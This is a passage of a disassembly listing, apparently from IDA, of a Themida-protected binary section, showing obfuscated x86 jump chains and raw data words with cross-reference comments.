0EF813838h, 67394B96h, 85BE564Fh, 815F076Eh dd 0F730C3C6h, 81DEF705h, 0AE278ECEh, 0BDC6815Fh, 813A1734h dd 839E71C6h, 5EF70110h, 7A87F781h, 0EF8136AFh, 57E809A7h dd 37EBF781h, 0A3E975FEh, 53FFFFFBh, 2BBh, 0C6EF8100h dd 10BBE1Ah, 0C6C781DFh, 8B0BBE1Ah, 0C481241Ch, 4, 5F0BE9h dd 81CE0100h, 2A6DE8EEh, 0C6835927h, 24348702h, 0FFF2A2E9h dd 2E0C1FFh, 0A3572D48h, 0E95646CEh, 409Bh ; --------------------------------------------------------------------------- loc_556D48: ; CODE XREF: Themida_:0055A42Cj not ecx jmp loc_55BD40 ; --------------------------------------------------------------------------- loc_556D4F: ; CODE XREF: Themida_:0055C1E2j sub al, bh pop bx jmp loc_5585EE ; --------------------------------------------------------------------------- dd 0FF3DE953h, 0C89FFFFh, 38BDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D66: ; CODE XREF: Themida_:0055529Cj mov edx, 1FDAFD58h add edx, edi pop edi push edx jmp loc_55C0FC ; --------------------------------------------------------------------------- dd 2852C380h, 52EB80C3h, 8041C380h, 0EB8074EBh, 19EB805Fh dd 0FFC0B60Fh, 8CE98734h, 50FFFFC7h, 42474FFh, 8324048Bh dd 48F04C4h, 0AAE95C24h, 6800006Ch, 732B2E36h, 2AECE95Bh dd 0EB800000h, 0AAC3802Ch, 55240C8Bh, 242C8B54h, 4C481h dd 0C5810000h, 4, 4C581h, 2C870000h, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 723CE9h db 0 ; --------------------------------------------------------------------------- loc_556DF1: ; CODE XREF: Themida_:0055C726j mov [esp], ecx mov ecx, 1Ch jmp loc_55D33C ; --------------------------------------------------------------------------- dw 0E380h dd 80CBFEF1h, 89E921C3h, 8BFFFFD1h, 2DE92424h, 6600003Ah dd 0F1B15158h, 3022F180h, 0EA8059CAh, 0D78853FFh, 6060E9h dd 1EE8100h, 0E97C4717h, 66Fh, 2DE991B5h, 81000003h, 4C5h dd 0F40EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E46: ; CODE XREF: Themida_:00557B47j add esp, 4 or eax, eax jz loc_5559D1 push dword ptr [edi+1Ch] jmp loc_55C20B ; --------------------------------------------------------------------------- align 2 dw 0E9CBh dd 1AF8h, 0FF241489h, 8B042474h, 0C4812414h, 4, 8B24048Fh dd 34FF2424h, 24048B24h, 6804C483h, 0CC3h, 68243C89h, 1446h dd 24048F54h, 0FFDAECE9h, 5AD388FFh, 7EA9E9h db 0 ; --------------------------------------------------------------------------- loc_556E9D: ; CODE XREF: Themida_:00553BCEj mov [esp], ecx mov ecx, 642240D2h jmp loc_55F784 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 58621B50h add ebx, 416724FBh dec ebx xor ebx, 99C9404Eh sub ebp, ebx pop ebx xchg ebp, [esp] jmp loc_55D5D1 ; --------------------------------------------------------------------------- dw 835Fh dd 1C8704EBh, 0C895C24h, 4EC8324h, 83242489h, 59042404h dd 6136E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556EF6: ; CODE XREF: Themida_:0055D413j xor ebp, 0CC4CEB6Fh add ebx, ebp pop ebp sub ebx, 2 jmp loc_55F9FD ; --------------------------------------------------------------------------- aXwsxp db 'XWéXp',0 align 2 word_556F0E dw 8B66h ; DATA XREF: Themida_:005533C0o dd 0E768240Ch, 89000016h, 4E9241Ch, 8000003Ah, 0F0286FC6h dd 8D3DE9h db 0 ; --------------------------------------------------------------------------- loc_556F29: ; CODE XREF: Themida_:0055EC61j push ebp jmp loc_557050 ; --------------------------------------------------------------------------- byte_556F2F db 8Fh ; DATA XREF: Themida_:0055345Co dd 0C5E9E902h, 0EF80FFFFh, 2434FF2Ch, 0FFFFC6E9h, 58C509FFh dd 8108EDC1h, 79DD7FF5h, 1C6F0900h, 0E9242C8Bh, 18CEh ; --------------------------------------------------------------------------- loc_556F58: ; CODE XREF: Themida_:00553EAEj add ebp, eax pop eax jmp loc_5577D4 ; --------------------------------------------------------------------------- dd 4C181h, 0BA520000h, 4, 335AD101h, 0C31240Ch, 240C3324h dd 110E685Ch, 4890000h, 6614E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F86: ; CODE XREF: Themida_:0055C5BFj pop ebx push dword ptr [esp] jmp loc_5594F9 ; --------------------------------------------------------------------------- db 66h dd 664CB2B9h, 0A0E9CF01h, 21000014h, 0ED8158C5h, 418D3394h dd 0DD0AED81h, 0EE292372h, 2434335Dh, 33243431h, 248B2434h dd 0C896624h, 0DCE0E924h, 0EC83FFFFh, 24348904h, 0F07488BEh dd 81D6F762h, 0DF590FCEh, 5EEC16Fh, 3EDE681h, 0C6812751h dd 1FC604ACh, 0FFFB0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_556FE9: ; CODE XREF: Themida_:00557087j pop edx or ch, 28h xor ch, 91h neg ch sub ch, 0ABh mov dh, ch mov ecx, [esp] add esp, 4 sub al, dh mov dx, [esp] add esp, 2 xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h byte_557013 db 64h ; DATA XREF: Themida_:0055323Co dd 0E9028B66h, 0FFFFEC27h, 835DEB01h, 1C8704EBh, 1C895C24h dd 11E95524h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55702F: ; CODE XREF: Themida_:005548E6j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_553E5B ; --------------------------------------------------------------------------- loc_557043: ; CODE XREF: Themida_:00555BB5j mov [esp], edi mov edi, 4E1D61FBh jmp loc_553CC6 ; --------------------------------------------------------------------------- loc_557050: ; CODE XREF: Themida_:00556F2Aj push edi mov edi, 70CB0F3Fh xor edi, 14995F43h push ebx jmp loc_55F365 ; --------------------------------------------------------------------------- dw 0C381h dd 502056CDh, 0E95BDA89h, 11ADh dword_557070 dd 0E92434FFh, 0FFFFE6B0h ; DATA XREF: Themida_:00553354o ; --------------------------------------------------------------------------- loc_557078: ; CODE XREF: Themida_:0055AA1Dj add ebp, 4 jmp loc_5567DD ; --------------------------------------------------------------------------- loc_557083: ; CODE XREF: Themida_:0055CF37j mov dl, 6Ch mov ch, dl jmp loc_556FE9 ; --------------------------------------------------------------------------- dd 9EE953B2h, 5CFFFFF8h, 24048B66h, 165E6857h, 24890000h dd 24048124h, 4, 5F2434FFh, 4C481h, 0BB530000h, 4, 173FE9h dd 0F4ED8100h, 814E3477h, 425842EDh, 0E9E901C6h, 5A6Bh dd 0EF81C731h, 7B144519h, 6630C781h, 0C381D38Eh, 2133144Fh dd 0B951FB01h, 2133144Fh, 8B59CB29h, 0C483243Ch, 5321E904h dd 1C890000h, 2BB24h, 0EE810000h, 22E361EFh, 31E9DE01h dd 400008Bh, 0C07024E7h, 0C0FE03E0h, 0C6280C04h, 0E9F52C58h dd 0FFFFD84Bh dword_557124 dd 24048B66h, 2C51E9h ; DATA XREF: Themida_:00553314o db 0 ; --------------------------------------------------------------------------- loc_55712D: ; CODE XREF: Themida_:0055C36Cj shl eax, cl jmp loc_5572FA ; --------------------------------------------------------------------------- dd 2107E868h, 2434FF5Ah, 4C4815Ah, 52000000h, 5A2414F7h dd 7FE7E9h, 8BD82800h, 0C481241Ch, 4, 0E800B72Ch, 7B5CE9h db 0 ; --------------------------------------------------------------------------- loc_557161: ; CODE XREF: Themida_:00554B20j mov edx, esp jmp loc_553F01 ; --------------------------------------------------------------------------- dd 0F659E820h, 0FEBA2CD0h, 3619E9C8h, 44810000h, 7D970424h dd 0F9E919DFh, 1000023h, 3C335EF7h, 243C3124h, 8B243C33h dd 0D2E92424h, 89FFFFD8h, 4BE2434h, 0E9000000h, 3370h dd 246C015Ch, 7AE95504h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571AF: ; CODE XREF: Themida_:0055AC96j sub esi, 0A8546286h jmp loc_55A7EE ; --------------------------------------------------------------------------- dw 0EBC1h dd 0D6E9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571C2: ; CODE XREF: Themida_:0055CB1Dj add ecx, edx mov edx, [esp] add esp, 4 xor ecx, ebp push dword ptr [esp] jmp loc_55C714 ; --------------------------------------------------------------------------- db 81h dd 7C0436C3h, 0E9EB2912h, 6657h, 8904EC83h, 0BE662434h dd 0C1663681h, 0F76603EEh, 0F68166D6h, 8966E44Fh, 24348BF7h dd 4C481h, 66550000h, 667136BDh, 0D5C5C581h, 5DEF2166h dd 0E9EFD166h, 17FBh ; --------------------------------------------------------------------------- loc_55721C: ; CODE XREF: Themida_:00555D86j push ecx neg dword ptr [esp] pop ecx or ecx, 4E6F7449h jmp loc_555B06 ; --------------------------------------------------------------------------- loc_55722C: ; CODE XREF: Themida_:005596BAj dec ecx or ecx, 23435F0h jmp loc_55973E ; --------------------------------------------------------------------------- dd 0B908C281h, 0D6019CF4h, 401E95Ah, 0D7F60000h, 58DEE9h dd 4C48300h, 0E0BE5650h, 813D8B7Dh, 8B7DE2F6h, 5EF0893Dh dd 48BC201h, 4C48324h, 87EDE9h, 893BE00h, 6C814C95h, 639E0424h dd 74293BE3h, 8FE90424h, 5100006Bh, 8E6D0F68h, 240C8B4Ah dd 0E904C483h, 148Dh, 622BBE56h, 0F7467D5Ah, 2EC681DEh dd 0E97D5A62h, 75F6h, 0BA241489h, 8A4F15h, 3428EE81h, 0D629593Dh dd 3428C681h, 148B593Dh, 0DD92E924h, 5066FFFFh, 0EC8318B0h dd 24148904h, 5A72E9h, 0F7D5F700h, 7E87E9DDh, 3C890000h dd 0E4FEE924h, 835EFFFFh, 47E904C2h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5572EF: ; CODE XREF: Themida_:0055D434j or ecx, 31787712h jmp loc_55E826 ; --------------------------------------------------------------------------- loc_5572FA: ; CODE XREF: Themida_:0055712Fj push edx push 0FFFFFFFFh push dword ptr [esp] pop edx jmp loc_55BD96 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 97AE9h, 81DDF700h, 8C3E07CDh, 0BF574D71h, 0AFC4D11Ch dd 69E9FD29h, 66000046h, 8166C329h, 6664E5EBh, 62B86650h dd 0BF66573Ah, 47661872h, 8DCF8166h, 0D859E95Eh, 2C5AFFFFh dd 52D800BEh, 0FFEF79E9h, 0E9C331FFh, 0FFFFDEA9h, 0C380C328h dd 28EB8019h, 527EC380h, 7924A768h, 0DBF5E978h, 70BFFFFFh dd 2970B942h, 243C8BFDh, 0E904C483h, 577Ch ; --------------------------------------------------------------------------- loc_557380: ; CODE XREF: Themida_:00557E08j sub esp, 4 mov [esp], ebp push esi xor dword ptr [esp], 4AA96FB4h jmp loc_55B0DE ; --------------------------------------------------------------------------- aZs db 'Zéµ ',0 dd 29685200h, 0E9679441h, 0FFFFC379h ; --------------------------------------------------------------------------- loc_5573A4: ; CODE XREF: Themida_:00557686j push edx mov dh, 0A8h shr dh, 8 shr dh, 5 push eax mov al, 6 inc al neg al not al neg al xor al, 36h and dh, al pop eax sub dh, 0D3h jmp loc_55E96C ; --------------------------------------------------------------------------- aVichs db 'V‰æhè',7,0 dd 242C8900h, 0B94274BDh, 93E95770h, 0FFFFFFh, 0C790E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5573E2: ; CODE XREF: Themida_:0055C49Aj pop ecx add ebx, 429A5D6Dh mov ecx, ebx mov ebx, [esp] add esp, 4 push ecx mov ebp, [esp] add esp, 4 jmp loc_559565 ; --------------------------------------------------------------------------- dd 0E9243C87h, 0FFFFC911h, 68E68956h, 6263h, 56242C89h dd 78106853h, 815B4DE2h, 0E2780CEBh, 8BDE894Dh, 0C5E9241Ch dd 88000006h, 0A0E95BDDh, 81000052h, 4C3h, 68565100h, 59484D84h dd 0FFC10AE9h db 0FFh ; --------------------------------------------------------------------------- loc_557445: ; CODE XREF: Themida_:00559663j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_55D1AD push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_559573 ; --------------------------------------------------------------------------- loc_557465: ; CODE XREF: Themida_:0055749Ej pop esp mov [esp], edx jmp loc_55BE42 ; --------------------------------------------------------------------------- loc_55746E: ; CODE XREF: Themida_:0055ABFCj not al inc al dec al jmp loc_55C1DE ; --------------------------------------------------------------------------- loc_557479: ; CODE XREF: Themida_:0055E193j mov esi, esp push edx mov edx, 783253DAh sub edx, 4C266267h and edx, 42903DBAh not edx sub edx, 0FFFFCEC9h add esi, edx pop edx sub esi, 4 xchg esi, [esp] jmp loc_557465 ; --------------------------------------------------------------------------- db 29h dd 1C681FEh, 5F7C4717h, 5C243487h, 89240489h, 405E0h, 0C0830000h dd 24043302h, 33240431h, 248B2404h, 24D36624h, 4CE99C24h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5574D3: ; CODE XREF: Themida_:00556847j pop edx mov dl, 0E9h jmp loc_55CD2F ; --------------------------------------------------------------------------- db 1 dd 0C1835EF1h, 240C3302h, 33240C31h, 248B240Ch, 2CD36624h dd 28E99C24h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5574F7: ; CODE XREF: Themida_:0055D69Fj push dword ptr [esp] jmp loc_557ECA ; --------------------------------------------------------------------------- db 0BEh dd 0EAB7B8Bh, 8959CE31h, 24348BF7h, 0AE6E9h, 4C48100h dd 56000000h, 4BEh, 5EF70100h, 8704C783h, 515C243Ch, 479BE9h dd 24048100h, 4, 4C7815Fh, 68000000h, 466Ah, 53240489h dd 0BE15D2BBh, 2E3C17Dh, 0CD0F381h, 0EBC17B54h, 6CEB8106h dd 890236B1h, 0C7015BD8h, 0CEDE958h, 0EB680000h, 8900005Eh dd 0E9532404h, 28CFh, 8924248Bh, 0EC81241Ch, 4, 0E9242489h dd 1FFDh ; --------------------------------------------------------------------------- loc_557588: ; CODE XREF: Themida_:00556BDBj mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_55A9E5 ; --------------------------------------------------------------------------- loc_55759B: ; CODE XREF: Themida_:0055BE6Ej mov edi, ecx pop ecx shl edi, 8 and edi, 3C120C49h jmp loc_558E87 ; --------------------------------------------------------------------------- loc_5575AC: ; CODE XREF: Themida_:0055CE64j mov eax, 731C2BA6h add eax, 0B9FBDF57h and ebx, eax pop eax add ebx, 0D2F7F5F3h mov esi, ebx mov ebx, [esp] add esp, 4 and ebx, esi mov esi, [esp] add esp, 4 or ebx, ebx jnz loc_55BAC5 sub esp, 4 mov [esp], edx push esp jmp loc_5564F1 ; --------------------------------------------------------------------------- loc_5575E6: ; CODE XREF: Themida_:0055CE50j mov edi, 7159534Eh jmp loc_55D89B ; --------------------------------------------------------------------------- loc_5575F0: ; CODE XREF: Themida_:00554A9Bj sub [esp+4], edx jmp loc_557FED ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E9242C87h, 0FFFFD32Eh dword_557604 dd 24048B66h, 81595451h, 4C1h, 6F81E900h, 0EF280000h, 57240C8Bh ; DATA XREF: Themida_:00553248o dd 0C7815F54h, 4, 0FFE2CFE9h, 243C89FFh, 6B27E952h, 0F8010000h dd 473DE9h, 4C48100h, 33000000h, 0DEE92414h, 56FFFFD4h dd 42474FFh, 24048F5Eh, 7F13E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_557656: ; CODE XREF: Themida_:0055569Dj add bl, al sub bl, 0DCh push dx jmp loc_555349 ; --------------------------------------------------------------------------- dw 0D300h dd 0FFE2F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_557669: ; CODE XREF: Themida_:0055B63Dj pop eax add dl, 0A5h neg dl add dl, 0ABh add dl, bl mov ebx, [esp] add esp, 4 add al, dl mov edx, [esp] add esp, 4 push ecx push eax mov ah, 22h jmp loc_5573A4 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 24048F04h, 6624248Bh, 0E9240489h, 0FFFFBE7Fh ; --------------------------------------------------------------------------- loc_5576A0: ; CODE XREF: Themida_:0055F74Dj mov esp, [esp] mov [esp], ebp mov ebp, 95C63EEh sub ebp, 1 push edx mov edx, 714F15D3h and edx, 1E25C7Bh or edx, 6EEB746Bh push edi mov edi, 52052E35h and edx, edi pop edi not edx dec edx xor edx, 0B4A2B8A0h sub ebp, edx pop edx and ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 7 sub esp, 4 mov [esp], ecx jmp loc_55E640 ; --------------------------------------------------------------------------- word_5576EE dw 0E9ADh ; DATA XREF: Themida_:0055349Co dd 837Fh, 0E92434FFh, 2717h, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 5AA2E9h, 24248900h, 4240483h, 23C8E95Bh dd 14330000h, 0E9505C24h, 0FFFFE389h, 405h, 24048700h dd 0E689565Ch, 2954E9h, 0D3895300h, 5B245F89h, 5A2434FFh dd 3104C483h, 728068D2h, 1C890000h, 2434FF24h, 0FFC981E9h db 0FFh ; --------------------------------------------------------------------------- loc_557759: ; CODE XREF: Themida_:00559E6Aj mov ecx, ebp pop ebp add ebp, 745301EEh add ebp, 2C173075h add ebp, ecx sub ebp, 2C173075h jmp loc_556BF0 ; --------------------------------------------------------------------------- db 0BFh, 0C5h, 61h dd 0FB297781h, 323FE95Fh, 0F9010000h, 6B86E981h, 875F0DD9h dd 248B240Ch, 0BB535524h, 20E9753Ch, 3D1AC381h, 0F38139C9h dd 549823E4h, 603FC381h, 0E3C11191h, 0DEEB8106h, 89D85854h dd 81455BDDh, 0A42767F5h, 5DEF0116h, 2C781h, 3C870000h dd 0F665C24h, 0E957C8BEh, 4D87h ; --------------------------------------------------------------------------- loc_5577D4: ; CODE XREF: Themida_:00556F5Bj push esi mov esi, 1042146Fh jmp loc_558F74 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 307587BAh, 5AD7299Ch, 7AB2E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5577F6: ; CODE XREF: Themida_:00555AD4j not eax add eax, 2EC3180h push eax jmp loc_553723 ; --------------------------------------------------------------------------- db 50h dd 0E947B151h, 69F8h, 515FFB01h, 0D64EA8B9h, 3BF18144h dd 81330E20h, 76F17E1h, 1C18154h, 53000000h, 3FB4E9h db 0 ; --------------------------------------------------------------------------- loc_55782D: ; CODE XREF: Themida_:005561B1j add esp, 2 add bl, al sub bl, 63h jmp loc_55F535 ; --------------------------------------------------------------------------- word_55783A dw 1CF7h ; DATA XREF: Themida_:00553370o dd 0DCE99C24h, 83FFFFBCh, 8B042404h, 0C483242Ch, 1A4CE904h dd 14BA0000h, 0E95F9327h, 724Ch, 78ACE981h, 0D9011A23h dd 78ACC181h, 335B1A23h, 76E9240Ch, 89000069h, 0F2815FFAh dd 4610897h, 8107EAC1h, 0D7338FE2h, 0C7CA8104h, 502F483Fh dd 0BA661EB8h, 0E9C2312Dh, 68D4h, 10F5C681h, 0C6817409h dd 4B5B7998h, 0F75BF681h, 0F1294475h, 0AAC1815Eh, 5D4CD736h dd 2474FF51h, 48F5904h, 24248B24h, 9C240CFEh, 0FFBC56E9h db 0FFh ; --------------------------------------------------------------------------- loc_5578C9: ; CODE XREF: Themida_:0055A7C4j mov esi, 49851363h and esi, 0F377243h push edx jmp loc_559156 ; --------------------------------------------------------------------------- dw 875Fh dd 0E95C2404h, 1EABh dword_5578E4 dd 24048B66h, 5608E9h, 685600h, 0E9000000h, 81B3h, 4E0C381h ; DATA XREF: Themida_:005534B8o dd 215D1861h, 34FF1C5Fh, 0C4835B24h, 0C117E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55790E: ; CODE XREF: Themida_:0055873Cj push dword ptr [esp] pop ebx add esp, 4 add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 0F955E924h, 0C381FFFFh, 4, 1579E9h dd 5BD83100h, 8158C301h, 5D50D5C3h, 81C3294Bh, 5D50D5EBh dd 52BE564Bh, 29510440h, 56575EF3h, 0F04E4ABEh, 0BD5ABF05h dd 0F72957D7h, 5FFB015Eh, 81E38953h, 4C3h, 14B4E900h, 50530000h dd 8870B151h, 0E38859CCh, 582434FFh, 8004C483h, 0B65284E3h dd 2E6C049h, 7F6EE9h, 240C8900h, 5623E952h, 0BD550000h dd 5BF2504Ch, 815DEA01h, 0C1184FF2h, 2C97E965h, 2C8B0000h dd 4C48124h, 4A000000h, 6FACEA81h, 0C28148D7h, 0C24592E7h dd 148BD501h, 4C48124h, 83000000h, 2C3304C5h, 7EC1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5579DE: ; CODE XREF: Themida_:0055D04Ej add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55CAAF ; --------------------------------------------------------------------------- db 5Fh, 29h, 0F9h dd 0D1D9F75Fh, 14F751E9h, 116AE924h, 0C4810000h, 4, 5C243C87h dd 0FFCBCFE9h, 5D5455FFh, 4C581h, 0EBE90000h, 52000079h dd 66F28966h, 0FDE9D389h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557A2F: ; CODE XREF: Themida_:0055DBF6j add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55CA63 ; --------------------------------------------------------------------------- dw 4B8h dd 29000000h, 0C8758C1h, 5CFE924h, 835C0000h, 348904ECh dd 2242BE24h, 0DEF72E2Dh, 2246C681h, 6CE92E2Dh, 89FFFFFAh dd 4C781E7h, 81000000h, 4EFh, 186CE900h, 4890000h, 0C53E924h dd 0F2800000h, 0FBD0E9F5h, 0F181FFFFh, 3B2CA78Bh, 0E959CF89h dd 908h, 4B9h, 244C0100h, 835E5904h, 48904ECh, 246824h dd 34FF0000h, 24048B24h, 51E08950h, 0BB7FA6B9h, 0E9C18116h dd 41479C63h, 4D54E9h, 4EC8300h, 56241C89h, 0CB62DBBEh dd 2DCE8153h, 8126F467h, 9805C6h, 0E9F38988h, 5981h, 4C481h dd 0F5890000h, 3DFC685Eh, 0A5E90000h, 87FFFFF7h, 0E95C2404h dd 0FFFFBA13h ; --------------------------------------------------------------------------- loc_557B0C: ; CODE XREF: Themida_:00556BA4j mov ebp, 4FDA0656h shr ebp, 4 jmp loc_55E9B3 ; --------------------------------------------------------------------------- db 4, 31h, 4 dd 0E9242C25h, 0FFFFCECEh, 5C94E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B2A: ; CODE XREF: Themida_:0055E345j add ebp, 4 jmp loc_55D912 ; --------------------------------------------------------------------------- loc_557B35: ; CODE XREF: Themida_:00558E9Bj sub ecx, 551A4F5Eh sub ecx, 14EB4E92h pop edi and eax, ecx mov ecx, [esp] jmp loc_556E46 ; --------------------------------------------------------------------------- dd 1420BB53h, 5C2900FAh, 0E4E90824h, 8100004Ch, 4C2h, 4EA8300h dd 779AE9h db 0 byte_557B69 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055340Co dd 89535324h, 4C381E3h, 57000000h, 4BFh, 5FFB2900h, 78B0E9h dd 0DFF74F00h, 44ECCF81h, 0EF815CD4h, 0DDDFD5EAh, 6F1AE9h dd 0E7BD5500h, 8140410Eh, 410EE3EDh, 0E9EF0140h, 0FFFFC58Ch dd 67B25266h, 5A66D400h, 9AEB80h, 9AC380E3h, 0C4EB8058h dd 0C380C328h, 10B050C4h, 5E8DE9h, 241C8900h, 0B7D2B652h dd 0A2C780E4h, 0EF80F700h, 80E95AA2h, 58000044h, 2EB65266h dd 54E9F028h, 52000026h, 42ABD55h, 0DFBA7D57h, 29AD4580h dd 4A7BE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C02: ; CODE XREF: Themida_:00558D3Dj xor eax, ebx push 6F02h mov [esp], ecx sub esp, 4 mov [esp], ebp push edi mov edi, 5E8E17E1h jmp loc_55CB09 ; --------------------------------------------------------------------------- loc_557C20: ; CODE XREF: Themida_:0055EB56j sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], cx push eax mov ah, 22h jmp loc_558D95 ; --------------------------------------------------------------------------- loc_557C36: ; CODE XREF: Themida_:0055FA9Cj pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax jmp loc_5598E5 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0DAh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C53: ; CODE XREF: Themida_:0055C507j add edx, 4 jmp loc_55AD92 ; --------------------------------------------------------------------------- loc_557C5E: ; CODE XREF: Themida_:0055D9C0j push edx sub esp, 4 jmp loc_558CE5 ; --------------------------------------------------------------------------- dw 895Ch dd 0CEBE2434h, 0D10B6C72h, 32EE81EEh, 0BB04CED1h, 0E76835h dd 348BF331h, 9DE95224h, 0B8FFFFE1h, 22C3D1Bh, 3158C689h dd 34FF4077h, 24348B24h, 4C481h, 0DAE90000h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557CA7: ; CODE XREF: Themida_:00559BA1j not ebx shl ebx, 7 jmp loc_557D6B ; --------------------------------------------------------------------------- db 46h, 57h, 0BFh dd 57E17DDCh, 0E904EFC1h, 56FBh ; --------------------------------------------------------------------------- loc_557CC0: ; CODE XREF: Themida_:0055649Cj mov ebx, ebp pop ebp add ecx, ebx push dword ptr [esp] pop ebx add esp, 4 xchg ecx, [esp] pop esp add esp, 4 shr ecx, 2 push ecx jmp loc_559D1D ; --------------------------------------------------------------------------- loc_557CDC: ; CODE XREF: Themida_:00555344j add edx, 7E40D94h shl edx, 8 or edx, 65371ADAh jmp loc_5599DF ; --------------------------------------------------------------------------- dd 5A668704h, 90B753h, 0B2525BF8h, 2EC83ACh, 24148966h dd 662414F6h, 4AF2805Ah, 4CE95166h, 0E9000002h, 0FFFFB807h dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h, 47E95C24h dd 6600003Fh, 0E4E9008Fh db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557D3B: ; CODE XREF: Themida_:00556824j xchg ebp, [esp] mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] push 5136h mov [esp], ebx push eax mov eax, 490E286Ah inc eax push ebp mov ebp, 7BAF751Eh neg ebp xor ebp, 0A2CAF6D5h or eax, ebp jmp loc_5595F8 ; --------------------------------------------------------------------------- loc_557D6B: ; CODE XREF: Themida_:00557CACj inc ebx xor ebx, 0B441E46Ch mov ecx, ebx jmp loc_553B51 ; --------------------------------------------------------------------------- db 81h, 0C2h, 29h dd 5E5CDF16h, 0FFD6F0E9h, 0E9D031FFh, 0EBCh, 39E9FB29h dd 42000031h, 3B16BF57h, 0D7F75EEDh, 58C4CF81h, 0E7C15B8Dh dd 0A0C78105h, 0E966070Eh, 7C13h ; --------------------------------------------------------------------------- loc_557DB0: ; CODE XREF: Themida_:00553F34j sub esi, 0CA519C6h sub esi, ebx add esi, 0CA519C6h pop ebx add esi, ebp add esi, 63A50E54h push dword ptr [esp] pop ebp add esp, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] push ebx mov bh, dl push 303Bh jmp loc_5594F0 ; --------------------------------------------------------------------------- aSmy db '^é¬y',0 db 0 ; --------------------------------------------------------------------------- loc_557DED: ; CODE XREF: Themida_:0055E2F7j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, ebx push ebx mov ebx, eax mov esi, ebx pop ebx mov eax, [esp] add esp, 4 jmp loc_557380 ; --------------------------------------------------------------------------- db 66h, 0BEh, 0C9h dd 0C681663Fh, 8166FFEEh, 0E93699EFh, 3A40h ; --------------------------------------------------------------------------- loc_557E20: ; CODE XREF: Themida_:0055D743j shr esi, 8 inc esi push eax mov eax, 576596A8h add esi, eax jmp loc_554251 ; --------------------------------------------------------------------------- loc_557E31: ; CODE XREF: Themida_:005553D6j mov esi, edi mov edi, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55A24E ; --------------------------------------------------------------------------- aIHlm db '‰$$h«m',0 dd 24048900h, 0FFE868E9h, 241489FFh, 0D389F289h, 5BD3E95Ah dd 81470000h, 9508BCEFh, 0E9FA899Dh, 0FFFFC14Dh, 21BBC681h dd 0FE0156BAh, 21BBEE81h, 815F56BAh, 2EEh, 24348700h, 6624248Bh dd 0E9240489h, 0FFFFB683h, 600AB850h, 0C6896839h, 65AFE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557EAA: ; CODE XREF: Themida_:00558CFEj pop eax or ebx, edx pop edx shl ebx, 8 push edi push eax push ecx push 257612F5h pop ecx jmp loc_55EF01 ; --------------------------------------------------------------------------- loc_557EBF: ; CODE XREF: Themida_:0055F1BAj pop ecx pop ebp xchg edi, [esp] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_557ECA: ; CODE XREF: Themida_:005574FAj pop edx add esp, 4 loc_557ED1: ; CODE XREF: Themida_:0055C9D7j sub esp, 4 mov [esp], eax mov eax, esp push ebx mov ebx, 4 jmp loc_55E31F ; --------------------------------------------------------------------------- db 0Fh dd 34FFC0B6h, 2434FF87h, 0E6895658h, 8904EC83h, 0E2892414h dd 4C281h, 0EA830000h, 24148704h, 0FFE6CBE9h, 0B60DE9FFh dd 0DDF7FFFFh, 4C0DC581h, 6BE94E62h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557F1F: ; CODE XREF: Themida_:00555465j add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx 